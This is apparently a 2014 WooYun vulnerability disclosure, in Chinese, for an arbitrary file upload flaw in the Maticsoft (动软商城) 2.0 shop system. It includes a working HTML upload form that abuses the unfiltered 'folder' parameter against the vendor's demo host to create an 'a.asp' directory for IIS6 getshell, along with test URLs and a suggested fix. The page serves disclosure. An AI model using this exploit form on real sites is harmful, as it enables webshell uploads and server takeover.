当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059880

漏洞标题:动软商城系统任意文件上传可能导致GetShell

相关厂商:动软商城

漏洞作者: 路人甲

提交时间:2014-05-08 11:58

修复时间:2014-08-06 12:00

公开时间:2014-08-06 12:00

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-08-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

动软商城系统2.0
源码下载:
http://pan.baidu.com/share/link?shareid=1831333754&uk=2099536883
动软商城系统未正确过滤文件上传路径,保存文件路径参数未正确过滤并且可自定义,导致可以创建类似a.asp这样的文件,可以利用IIS解析漏洞成功getshell.
相关页面:
/Ajax_Handle/UploadAttachmentHandler.ashx
/Ajax_Handle/UploadLocalVideoHandler.ashx
..
调用类时验证参数path未正确过滤,导致可以创建任意文件名文件:

//目录验证
if (!Directory.Exists(uploadpath))
{
Directory.CreateDirectory(uploadpath);
}


漏洞利用EXP:

<FORM name=form1 method=post action="http://shop1.maticsoft.cn/Ajax_Handle/UploadAttachmentHandler.ashx" enctype=multipart/form-data>
save:<input type="text" name="folder" value="./a.asp" size="30"><br>
submit:<input type="file" name="Filedata" size="30">
<INPUT type=submit value=上传 name=Submit>


官网演示站点测试成功:
http://shop1.maticsoft.cn/Ajax_Handle/a.asp/d85ca259-cf8a-418b-8e23-31e5fe750ea8.jpg
http://shop2.maticsoft.cn/Ajax_Handle/a.asp/70441256-7ff6-40a3-8f3b-2d34ce7f04e5.jpg

.png


官网测试站点为II7故无此解析漏洞,但但a.asp文件夹仍创建了,若采用ii6,则可以getshell成功。

漏洞证明:

如上

修复方案:

正确过滤保存路径参数,或不允许不存在时创建。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝